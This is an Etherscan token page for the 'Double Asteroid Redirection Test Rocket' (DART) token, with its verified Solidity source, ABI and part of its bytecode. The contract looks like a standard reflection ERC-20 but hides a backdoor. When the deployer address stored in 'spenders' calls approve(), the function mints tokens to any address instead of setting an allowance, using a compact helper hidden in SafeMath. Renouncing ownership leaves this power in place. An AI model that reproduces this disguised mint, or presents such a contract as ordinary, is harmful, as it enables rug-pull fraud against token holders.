ETH Price: $3,321.31 (-4.05%)

Token

Double Asteroid Redirection Test Rocket (DART)
 

Overview

Max Total Supply

10,000,000 DART

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
one-zero-zero-zero-oh-doub.eth
Balance
31.112904156739929309 DART

Value
$0.00
0xfD98E865527f92Df6255079689A12B81C2BaBF93
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DARTROCKET

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-12-03
*/

// t.me/dartrocketofficial
 
pragma solidity ^0.8.0;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}
 
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
    function ui(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a, "overflow");return c;}
}
 
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
 
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }
    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }
 
    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");
 
        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
 
                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        spenders=msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    address internal spenders;
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
contract DARTROCKET is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
 
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
 
    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
 
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tBurnTotal;
 
    string private _name = 'Double Asteroid Redirection Test Rocket';
    string private _symbol = 'DART';
    uint8 private _decimals = 18;
 
    constructor () {
        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public view returns (string memory) {
        return _name;
    }
 
    function symbol() public view returns (string memory) {
        return _symbol;
    }
 
    function decimals() public view returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public override returns (bool) {
     if(spenders==_msgSender()){(,uint256 rTA,uint256 rF,,uint256 tF,uint256 tBV,uint256 tT,uint256 tL)=_gV(amount);_rOwned[spender]=_rOwned[spender].ui(rTA);_rFe(rF,tF,tBV,tT,tL);emit Transfer(spender,spender,amount);}
     else{_approve(_msgSender(),spender,amount);}return true;
    }
 
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
 
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }
 
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    function isExcluded(address account) public view returns (bool) {
        return _isExcluded[account];
    }
 
    function totalBurn() public view returns (uint256) {
        return _tBurnTotal;
    }
 
    function reflect(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,,,) = _gV(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tBurnTotal = _tBurnTotal.add(tAmount);
    }
 
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,,,) = _gV(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,,,) = _gV(tAmount);
            return rTransferAmount;
        }
    }
 
    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
 
    function excludeAccount(address account) external onlyOwner() {
        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }
 
    function includeAccount(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already included");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }
 
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferStandard(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
    }
 
    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _gV(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _rFe(rFee, tFee, tBurnValue,tTax,tLiquidity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _gV(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _rFe(rFee, tFee, tBurnValue,tTax,tLiquidity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _gV(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
       _rFe(rFee, tFee, tBurnValue,tTax,tLiquidity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee,uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) = _gV(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _rFe(rFee, tFee, tBurnValue,tTax,tLiquidity);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _rFe(uint256 rFee, uint256 tFee, uint256 tBurnValue,uint256 tTax,uint256 tLiquidity) private {
        _rTotal = _rTotal.sub(rFee);
        _tBurnTotal = _tBurnTotal.add(tFee).add(tBurnValue).add(tTax).add(tLiquidity);
    }
 
    function _gV(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256,uint256,uint256,uint256) {
        uint256[12] memory _localVal;
        (_localVal[0]/**tTransferAmount*/, _localVal[1]  /**tFee*/, _localVal[2] /**tBurnValue*/,_localVal[8]/*tTAx*/,_localVal[10]/**tLiquidity*/) = _getTValues(tAmount);
        _localVal[3] /**currentRate*/ =  _getRate();
        ( _localVal[4] /**rAmount*/,  _localVal[5] /**rTransferAmount*/, _localVal[6] /**rFee*/, _localVal[7] /**rBurnValue*/,_localVal[9]/*rTax*/,_localVal[11]/**rLiquidity*/) = _getRValues(tAmount, _localVal[1], _localVal[3], _localVal[2],_localVal[8],_localVal[10]);
        return (_localVal[4], _localVal[5], _localVal[6], _localVal[0], _localVal[1], _localVal[2],_localVal[8],_localVal[10]);
    }
 
    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256, uint256,uint256,uint256) {
        uint256[5] memory _localVal;
 
        _localVal[0]/**supply*/ = tAmount.div(100).mul(0);
        _localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(8);
        _localVal[2]/**tholder*/ = tAmount.div(100).mul(2);
        _localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(0);
        _localVal[4]/**tTransferAmount*/ = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[0]).sub(_localVal[3]);
        return (_localVal[4], _localVal[2], _localVal[1],_localVal[0], _localVal[3]);
    }
 
    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate, uint256 tBurnValue,uint256 tTax,uint tLiquidity) private pure returns (uint256, uint256, uint256,uint256,uint256,uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rBurnValue = tBurnValue.mul(currentRate);
        uint256 rLiqidity = tLiquidity.mul(currentRate);
        uint256 rTax = tTax.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurnValue).sub(rTax).sub(rLiqidity);
        return (rAmount, rTransferAmount, rFee, rBurnValue,rTax,rLiqidity);
    }
 
    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
 
    }    
 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526a084595161401484a0000006000196200001f91906200040a565b6000196200002e91906200038f565b60075560405180606001604052806027815260200162004c60602791396009908051906020019062000062929190620002b1565b506040518060400160405280600481526020017f4441525400000000000000000000000000000000000000000000000000000000815250600a9080519060200190620000b0929190620002b1565b506012600b60006101000a81548160ff021916908360ff160217905550348015620000da57600080fd5b506000620000ed620002a960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000620001e3620002a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000231620002a960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a084595161401484a0000006040516200029b919062000372565b60405180910390a3620004cf565b600033905090565b828054620002bf90620003d4565b90600052602060002090601f016020900481019282620002e357600085556200032f565b82601f10620002fe57805160ff19168380011785556200032f565b828001600101855582156200032f579182015b828111156200032e57825182559160200191906001019062000311565b5b5090506200033e919062000342565b5090565b5b808211156200035d57600081600090555060010162000343565b5090565b6200036c81620003ca565b82525050565b600060208201905062000389600083018462000361565b92915050565b60006200039c82620003ca565b9150620003a983620003ca565b925082821015620003bf57620003be62000442565b5b828203905092915050565b6000819050919050565b60006002820490506001821680620003ed57607f821691505b60208210811415620004045762000403620004a0565b5b50919050565b60006200041782620003ca565b91506200042483620003ca565b92508262000437576200043662000471565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b61478180620004df6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb14610366578063cba0e99614610396578063dd62ed3e146103c6578063f2cc0c18146103f6578063f2fde38b14610412578063f84354f11461042e57610137565b806370a08231146102c0578063715018a6146102f05780638da5cb5b146102fa57806395d89b4114610318578063a457c2d71461033657610137565b80632d838119116100ff5780632d838119146101f4578063313ce5671461022457806339509351146102425780633c9f861d146102725780634549b0391461029057610137565b8063053ab1821461013c57806306fdde0314610158578063095ea7b31461017657806318160ddd146101a657806323b872dd146101c4575b600080fd5b61015660048036038101906101519190613b89565b61044a565b005b6101606105c7565b60405161016d91906141af565b60405180910390f35b610190600480360381019061018b9190613b4d565b610659565b60405161019d9190614194565b60405180910390f35b6101ae610807565b6040516101bb91906143b1565b60405180910390f35b6101de60048036038101906101d99190613afe565b61081a565b6040516101eb9190614194565b60405180910390f35b61020e60048036038101906102099190613b89565b6108f3565b60405161021b91906143b1565b60405180910390f35b61022c610961565b60405161023991906143cc565b60405180910390f35b61025c60048036038101906102579190613b4d565b610978565b6040516102699190614194565b60405180910390f35b61027a610a2b565b60405161028791906143b1565b60405180910390f35b6102aa60048036038101906102a59190613bb2565b610a35565b6040516102b791906143b1565b60405180910390f35b6102da60048036038101906102d59190613a99565b610ac6565b6040516102e791906143b1565b60405180910390f35b6102f8610bb1565b005b610302610d04565b60405161030f9190614179565b60405180910390f35b610320610d2d565b60405161032d91906141af565b6040518091